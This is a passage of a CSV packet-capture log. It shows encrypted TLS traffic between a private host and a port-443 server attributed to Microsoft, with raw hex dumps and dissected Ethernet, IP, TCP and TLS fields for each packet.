TL~r\\\\xdb\\\\xac\\\\xde\\\\xc7\\\\xb4\\\\xd5(\\\\x8d\\\\x07\\\\xfd\\\\x19\\\\x14\\\\x98\\\\x13\\\\xdb&\\\\xa5$(2\\\\x0bWO\\\\x80L)\\\\xad1:\\\\xe9\\\\xf4\\\\xfbQ\\\\xdf\\\\xe5S\\\\xe7)\\\\x08;\\\\xea;\\\\xc8Z\\\\xb4\\\\xc2\\\\x13W\\\\x1ebNU\\\\xcdC\\\\xa3\\\\x03\\\\xd1r\\\\x15\\\\x05a\\\\xc3K\\\\xed7Q\\\\xac6\\\\x11\\\\x1c\\\\xa6\\\\xa0uU\\\\x8dc\\\\xf0\\\\r\\\\x13h\\\\xda\\\\xd3\\\\xbb\\\\x9f\\\\x9c\\\\xc0\\\\x8e\\\\x1c\\\\xbd\\\\\\\\#@5\\\\xfc\\\\xe3\\\\\\\\\\\\x11\\\\xc7tQ\\\\x1a\\\\xa7$\\\\x89\\\\xd7|[.\\\\x99e\\\\xfc\\\\xdf\\\\xc2`\\\\xe1\\\\xb9\\\\x1fY\\\\x01\\\\xc3\\\\xdb\\\\xe4%`\\\\x1c\\\\x87\\\\xddZ\\\\x82\\\\xd9\\\\x1ad\\\\x8f\\\\x0c\\\\x81R_Q-\\\\xf2*5\\\\x8a\\\\xb8\\\\x96EY\\\\xca\\\\xa5$B\\\\x15\\\\xf7\\\\xfd\\\\xa2\\\\x11|\\\\x88\\\\xd7\\\"\"\\\\xe4\\\\x81<\\\\x19\\\\xb989\\\\x11n=\\\\xd4C\\\\xe9.\\\\x1e{\\\\xa7a\\\\xa2\\\\x88\\\\xe5\\\\x0fe\\\\x19\\\\xdelT\\\\xf6\\\\xee\\\\xb6\\\\xf1\\\\xbd' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 207, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xc0B\\\\x94e\\\\xe8\\\\xe5\\\\xc8\\\\xd0\\\\xa3|=6\\\\x828\\\\xbf\\\\xad\\\\x17\\\\x92{y\\\\xaa\\\\xc0>\\\\xf8\\\\xa8\\\\xc2\\\\xef\\\\x85O\\\\xab@\\\\x1e\\\\xed\\\\x16\\\\x9c\\\\x0c#\\\\xc8\\\\x85\\\\xe6\\\\xbf\\\\xc5\\\\x17\\\\xe7\\\\x00\\\\xf7CJj\\\\x9b\\\\x02\\\\xcc\\\\xa7\\\\x01C=\\\\x05\\\\\\\\\\\\xcb\\\\x9aB%\\\\xd9\\\\xd8^\\\\xb2T\\\\xeb+\\\\x97\\\\xd1#\\\\x8e\\\\xfc\\\\x9f:\\\\xcd~\\\\xdc\\\\xbe\\\\x17h\\\\xcb\\\\x891\\\\xd7\\\\\\\\B\\\\x17\\\\x9ao\\\\xec]Y\\\\xcc(\\\\xa9@\\\\xaa\\\\x02\\\\xd3g\\\\xa5k\\\\x92\\\\x9e\\\\xc3Z\\\\x06\\\\xae\\\\xe3\\\\xf7\\\\xe7tD\\\\xaf5\\\\xebS\\\\x18\\\\xed\\\\xfe\\\\xdfz\\\\x7fI\\\\xb7\\\\x83L\\\\x80\\\\x05\\\\x0bF\\\\x87\\\\xd5H\\\\xe8\\\\x1a\\\\x8c\\\\xd3[+b},\\\\xb9\\\\x9a\\\\xe1\\\\x8a\\\\x83\\\\x9a\\\\xe9Z\\\\x97]\\\\x18\\\\xb0\\\\x82\\\\xb7\\\\x18\\\\xfe\\\\x83\\\\xb6\\\\xa7\\\\x12\\\\x90\\\\x16V\\\\xb4\\\\xbe\\\\x94\\\\x0c1/\\\\xc3\\\\x8b\\\\x874\\\\xb7\\\\xca\\\\xf7\\\\xe64\\\\x12\\\\xca3&\\\\x9c\\\\xe6*\\\\x86\\\\xf9\\\\x19\\\\xd1\\\\x1c\\\\x00@\\\\xe7\\\\xb1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xde\\\\x92\\\\x01\\\\xc5\\\\xe8g\\\\xc6\\\\xe8\\\\xb4\\\\x0f)S\\\\x84P\\\\xa4\\\\xfbA\\\\xbc\\\\x13\\\\xfa\\\\xd7\\\\xaeq\\\\xea\\\\xb0' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.471047,49,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507096190 Ack=251466664,bc24112907bbbc2411360d0c0800450000289687400080065a8b0a98980b28683eb2f9de01bb1e39ac7e0efd13a850100400b9200000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.~....P.... ..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38535, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23179, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096190, \"\"ack\"\": 251466664, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47392, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.472079,50,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507096190 Ack=251466664,bc24112907bbbc2411360d0c0800450000689688400080065a4a0a98980b28683eb2f9de01bb1e39ac7e0efd13a850180400ba900000170303003b0000000000000004ea389c5c5136710550ddea02adfe1727dd6d4907d992cb2b1996f94d1083a6af48d34c27662e1d3a3504d9ed3803731fa70aed,\".$.)...$.6\n...E..h..@...ZJ\n...(h>......9.~....P...........;.........8.\\Q6q.P......'.mI....+...M....H.L'f..:5...8.s..\n.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 38536, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23114, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096190, \"\"ack\"\": 251466664, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xea8\\\\x9c\\\\\\\\Q6q\\\\x05P\\\\xdd\\\\xea\\\\x02\\\\xad\\\\xfe\\\\x17'\\\\xddmI\\\\x07\\\\xd9\\\\x92\\\\xcb+\\\\x19\\\\x96\\\\xf9M\\\\x10\\\\x83\\\\xa6\\\\xafH\\\\xd3L'f.\\\\x1d:5\\\\x04\\\\xd9\\\\xed8\\\\x03s\\\\x1f\\\\xa7\\\\n\\\\xed\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.472089,51,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251466664 Ack=507096254,bc2411360d0cbc24112907bb0800450000289c7b40004006949728683eb20a98980b01bbf9de0efd13a81e39acbe5010003f09d80000,\".$.6\n..$.)....E..(.{@.@...(h>.\n............9..P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40059, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38039, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251466664, \"\"ack\"\": 507096254, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.825619,52,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=251466664 Ack=507096254,bc2411360d0cbc24112907bb0800450002be9c7c40004006920028683eb20a98980b01bbf9de0efd13a81e39acbe5018003f0c6e0000170303029100000000000000060bae4a0582b76222e893cb71e0f2e7197486b365871c95fc73ce74dc273eacb0557c34307fc339e5b4b757f6175f65e8f83c2bd7d2bee06164531e938ef803fef5eb78b2921077344b26f15d04997d23ca41a93bb54b4bae55418ceda723f5d97872e515154069e5aeea232ae44665e42729ecd20d54d02a165e9c820d753f8d8f01af25c0e0a45cbcb123b55f0680c36e9efa4bfd069918daab5d07ca024a3ed11291fa63748f18f913a531ee911d455a3b71fd5883504429b1331893ab42c8dab829057dd479df3096e60a89a190fbae038bc82feb8f55253006fb3382ee3f7f99e021470bab95345e657f074227d7a9fe51713554facbd5765889fd7f47ac8940ba5879477c7437d0c53cad640019c341ab57aaade5a7cba0fb65eff125f76f19dcf18fa3a03ae4cb69261b14755b3d470453c12fa4b0ae458beab04aae33527117f43c53c3a3df52dae495786026629d00f738501a350866555723d49ca6b248cf65ea7134360532b000e72304216058751c02276445e19f8cc1b3dad00b0ed186db35e57cb2ef31b6f738b3727b38ece3896985cfc30004cafa86e8774a9be13912bd6e4f8a2be89e0c7f05f179af4031ae944a1cee582ac2032c8caa6b1b6cd5f91a1984f466896b78d54c945acb9eb511060b41a313d32974a637e9ed2f68812e8ad93fc5c75d165bba9506c2eca9fd99b7a116ac46ff48ef181b910497a295b42536fe90e6f8fd88ac937eec154ee24a8f1328f6a7fa465ed8df7e5aa5244b5e5f8e5abef36914710a167ec6c4790ac53b3c0c66f94e9e997d6b83c4a0a3d3383e9818cd6a1b3c2255b5be73cd5c31e89ee5207d34a8d362854f3160264718b86ae87682501bee3e58a29aef6697907bfab7fc42db73084daf13966cd2981a0ce75f726c2e,\".$.6\n..$.)....E....|@.@...(h>.\n............9..P..?.n.................J...b\"\"...q....t..e....s.t.'>..U|40..9...W.._e..<+....adS........x...w4K&.]..}#.A.;.KK.UA...#..xr...@i...#*.Fe.')..\nT.*.^..\nu?....%...\\..#._...n..K......]...J>....ct.....1...EZ;q.X.PD).3...B...).}.y.0..\n......../..U%0..3..?...!G...4^e..B'...Qq5T...vX...G..@.XyG|t7..<.d...A.W.......e..%.o......:..i&..u[=G.S./...E...J.3Rq..<S...R...x`&b...8P.5.fUW#....H.e.q46.2...#.!`Xu..'dE............5.|..1..8.r{8...i.........wJ..9..nO.+......y.@1..J..X*..,..k.l......f.kx.L.Z......A...)t.7../h....?..].[............F.H.........%6........~..N.J..(...F^..~Z.$K^_.Z..i.q\n.~..y\n.;<.f.N..}k.....8>...j.<\"\"U..s.\\1... }4..b.O1`&G..j.v.P..>X...f..{...B.s.M...l....._rl.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 702, \"\"id\"\": 40060, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37376, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251466664, \"\"ack\"\": 507096254, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3182, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 657, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x0b\\\\xaeJ\\\\x05\\\\x82\\\\xb7b\\\"\"\\\\xe8\\\\x93\\\\xcbq\\\\xe0\\\\xf2\\\\xe7\\\\x19t\\\\x86\\\\xb3e\\\\x87\\\\x1c\\\\x95\\\\xfcs\\\\xcet\\\\xdc\\\\'>\\\\xac\\\\xb0U|40\\\\x7f\\\\xc39\\\\xe5\\\\xb4\\\\xb7W\\\\xf6\\\\x17_e\\\\xe8\\\\xf8<+\\\\xd7\\\\xd2\\\\xbe\\\\xe0adS\\\\x1e\\\\x93\\\\x8e\\\\xf8\\\\x03\\\\xfe\\\\xf5\\\\xebx\\\\xb2\\\\x92\\\\x10w4K&\\\\xf1]\\\\x04\\\\x99}#\\\\xcaA\\\\xa9;\\\\xb5KK\\\\xaeUA\\\\x8c\\\\xed\\\\xa7#\\\\xf5\\\\xd9xr\\\\xe5\\\\x15\\\\x15@i\\\\xe5\\\\xae\\\\xea#*\\\\xe4Fe\\\\xe4\\\\')\\\\xec\\\\xd2\\\\rT\\\\xd0*\\\\x16^\\\\x9c\\\\x82\\\\ru?\\\\x8d\\\\x8f\\\\x01\\\\xaf%\\\\xc0\\\\xe0\\\\xa4\\\\\\\\\\\\xbc\\\\xb1#\\\\xb5_\\\\x06\\\\x80\\\\xc3n\\\\x9e\\\\xfaK\\\\xfd\\\\x06\\\\x99\\\\x18\\\\xda\\\\xab]\\\\x07\\\\xca\\\\x02J>\\\\xd1\\\\x12\\\\x91\\\\xfact\\\\x8f\\\\x18\\\\xf9\\\\x13\\\\xa51\\\\xee\\\\x91\\\\x1dEZ;q\\\\xfdX\\\\x83PD)\\\\xb13\\\\x18\\\\x93\\\\xabB\\\\xc8\\\\xda\\\\xb8)\\\\x05}\\\\xd4y\\\\xdf0\\\\x96\\\\xe6\\\\n\\\\x89\\\\xa1\\\\x90\\\\xfb\\\\xae\\\\x03\\\\x8b\\\\xc8/\\\\xeb\\\\x8fU%0\\\\x06\\\\xfb3\\\\x82\\\\xee?\\\\x7f\\\\x99\\\\xe0!G\\\\x0b\\\\xab\\\\x954^e\\\\x7f\\\\x07B\\\\'\\\\xd7\\\\xa9\\\\xfeQq5T\\\\xfa\\\\xcb\\\\xd5vX\\\\x89\\\\xfd\\\\x7fG\\\\xac\\\\x89@\\\\xbaXyG|t7\\\\xd0\\\\xc5<\\\\xadd\\\\x00\\\\x19\\\\xc3A\\\\xabW\\\\xaa\\\\xad\\\\xe5\\\\xa7\\\\xcb\\\\xa0\\\\xfbe\\\\xef\\\\xf1%\\\\xf7o\\\\x19\\\\xdc\\\\xf1\\\\x8f\\\\xa3\\\\xa0:\\\\xe4\\\\xcbi&\\\\x1b\\\\x14u[=G\\\\x04S\\\\xc1/\\\\xa4\\\\xb0\\\\xaeE\\\\x8b\\\\xea\\\\xb0J\\\\xae3Rq\\\\x17\\\\xf4<S\\\\xc3\\\\xa3\\\\xdfR\\\\xda\\\\xe4\\\\x95x`&b\\\\x9d\\\\x00\\\\xf78P\\\\x1a5\\\\x08fUW#\\\\xd4\\\\x9c\\\\xa6\\\\xb2H\\\\xcfe\\\\xeaq46\\\\x052\\\\xb0\\\\x00\\\\xe7#\\\\x04!`Xu\\\\x1c\\\\x02\\\\'dE\\\\xe1\\\\x9f\\\\x8c\\\\xc1\\\\xb3\\\\xda\\\\xd0\\\\x0b\\\\x0e\\\\xd1\\\\x86\\\\xdb5\\\\xe5|\\\\xb2\\\\xef1\\\\xb6\\\\xf78\\\\xb3r{8\\\\xec\\\\xe3\\\\x89i\\\\x85\\\\xcf\\\\xc3\\\\x00\\\\x04\\\\xca\\\\xfa\\\\x86\\\\xe8wJ\\\\x9b\\\\xe19\\\\x12\\\\xbdnO\\\\x8a+\\\\xe8\\\\x9e\\\\x0c\\\\x7f\\\\x05\\\\xf1y\\\\xaf@1\\\\xae\\\\x94J\\\\x1c\\\\xeeX*\\\\xc2\\\\x03,\\\\x8c\\\\xaak\\\\x1bl\\\\xd5\\\\xf9\\\\x1a\\\\x19\\\\x84\\\\xf4f\\\\x89kx\\\\xd5L\\\\x94Z\\\\xcb\\\\x9e\\\\xb5\\\\x11\\\\x06\\\\x0bA\\\\xa3\\\\x13\\\\xd3)t\\\\xa67\\\\xe9\\\\xed/h\\\\x81.\\\\x8a\\\\xd9?\\\\xc5\\\\xc7]\\\\x16[\\\\xba\\\\x95\\\\x06\\\\xc2\\\\xec\\\\xa9\\\\xfd\\\\x99\\\\xb7\\\\xa1\\\\x16\\\\xacF\\\\xffH\\\\xef\\\\x18\\\\x1b\\\\x91\\\\x04\\\\x97\\\\xa2\\\\x95\\\\xb4%6\\\\xfe\\\\x90\\\\xe6\\\\xf8\\\\xfd\\\\x88\\\\xac\\\\x93~\\\\xec\\\\x15N\\\\xe2J\\\\x8f\\\\x13(\\\\xf6\\\\xa7\\\\xfaF^\\\\xd8\\\\xdf~Z\\\\xa5$K^_\\\\x8eZ\\\\xbe\\\\xf3i\\\\x14q\\\\n\\\\x16~\\\\xc6\\\\xc4y\\\\n\\\\xc5;<\\\\x0cf\\\\xf9N\\\\x9e\\\\x99}k\\\\x83\\\\xc4\\\\xa0\\\\xa3\\\\xd38>\\\\x98\\\\x18\\\\xcdj\\\\x1b<\\\"\"U\\\\xb5\\\\xbes\\\\xcd\\\\\\\\1\\\\xe8\\\\x9e\\\\xe5 }4\\\\xa8\\\\xd3b\\\\x85O1`&G\\\\x18\\\\xb8j\\\\xe8v\\\\x82P\\\\x1b\\\\xee>X\\\\xa2\\\\x9a\\\\xeff\\\\x97\\\\x90{\\\\xfa\\\\xb7\\\\xfcB\\\\xdbs\\\\x08M\\\\xaf\\\\x13\\\\x96l\\\\xd2\\\\x98\\\\x1a\\\\x0c\\\\xe7_rl.' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.825953,53,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507096254 Ack=251467326,bc24112907bbbc2411360d0c0800450000289689400080065a890a98980b28683eb2f9de01bb1e39acbe0efd163e501003fdb64d0000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.....>P....M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38537, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23177, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096254, \"\"ack\"\": 251467326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 46669, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.830193,54,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507096254 Ack=251467326,bc24112907bbbc2411360d0c080045000096968a400080065a1a0a98980b28683eb2f9de01bb1e39acbe0efd163e501803fd46ed000017030300690000000000000005a3203a509c1a16fcf430bc218f15a01b255ada3d76aa4d60e14d15eb3a00c73fabfbb63afd1935da23d17f6380a23c67f9260d604c47ad726c37918a9c4e47628678e42de040db7190eca3e205476f19814c6e29073e535e215b7908cc86fa1c69,\".$.)...$.6\n...E.....@...Z.\n...(h>......9.....>P...F.......i......... :P.....0.!....%Z.=v.M`.M..:..?...:..5.#..c..<g.&\n`LG.rl7...NGb.x.-.@.q.....Go..Ln).>S^![y.....i\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 150, \"\"id\"\": 38538, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23066, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096254, \"\"ack\"\": 251467326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18157, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 105, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xa3 :P\\\\x9c\\\\x1a\\\\x16\\\\xfc\\\\xf40\\\\xbc!\\\\x8f\\\\x15\\\\xa0\\\\x1b%Z\\\\xda=v\\\\xaaM`\\\\xe1M\\\\x15\\\\xeb:\\\\x00\\\\xc7?\\\\xab\\\\xfb\\\\xb6:\\\\xfd\\\\x195\\\\xda#\\\\xd1\\\\x7fc\\\\x80\\\\xa2<g\\\\xf9&\\\\r`LG\\\\xadrl7\\\\x91\\\\x8a\\\\x9cNGb\\\\x86x\\\\xe4-\\\\xe0@\\\\xdbq\\\\x90\\\\xec\\\\xa3\\\\xe2\\\\x05Go\\\\x19\\\\x81Ln)\\\\x07>S^![y\\\\x08\\\\xcc\\\\x86\\\\xfa\\\\x1ci' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.830202,55,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251467326 Ack=507096364,bc2411360d0cbc24112907bb0800450000289c7d40004006949528683eb20a98980b01bbf9de0efd163e1e39ad2c5010003f09d80000,\".$.6\n..$.)....E..(.}@.@...(h>.\n..........>.9.,P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40061, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38037, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251467326, \"\"ack\"\": 507096364, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:49.108755,56,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=251467326 Ack=507096364,bc2411360d0cbc24112907bb08004500029d9c7e40004006921f28683eb20a98980b01bbf9de0efd163e1e39ad2c5018003f0c4d00001703030270000000000000000722cdfe6ddead95ab5c83d7b7ade33d8d197b8dd0109631989f8bbe741d52d41d06da6355e4f592c9e91b51edd3be3df3d324b8956eb57a4e954279f7ec6ba27a11b78a4588bfca1faff5466fcdfd02fec4346f1250488138139e18237a4f6d009b9f8b113f409519fed2ccfe714eb18076a6f6178fb4404c94afa3d9be87a38bcbcd0cfec12c27fdec33e09f525a4d57542de2b43b2e269e9da1ebc06410243f2c41595a1ef56b80862b9b082abe6298736fe51bf81318afc0e4204953177d0b345f5764ae7ac2e57b9a5407266ad5c1c8936c15b149ea9474ab6f30e928350d52879730ecb93d58bb805b2202706401f15e6b5a27120a93a3d7ea007724cfb7c5ebee99e6ff57bc5683b7900283b4f698ac1eb51756e39371f04d66d0d45c3d68de6f263903c0a5c39176a425b3cb9b1b5e9ff7fd575f610285ee9948a7f54e4b2b61d3a882329496b396a7672a5dd16d0fca46259be6dbcd8a0ea8d7cde3241817aade78290e35bb8bf5c8742db2655e81066a07704b1b47cb99fdf6c02601aa38c42dbc4e8014c1a19293a4fd16b70977f9c945b39179ad2911f0571fe4b55b9608176eae6d8695ae90daebb513d6a73878dc11d9343cf19c1bdb53438a51cdb7934361952caf831f9f1fa72f773060c378b1aae9b0965e94fdb9b76bae947101563123c384cab736336a02d12abc13a9dd87e403b7ff952b242f0e9b98ad6b3fd5111c5f080d02fb4ee171327e7915f5873ad254c751d6ea50231e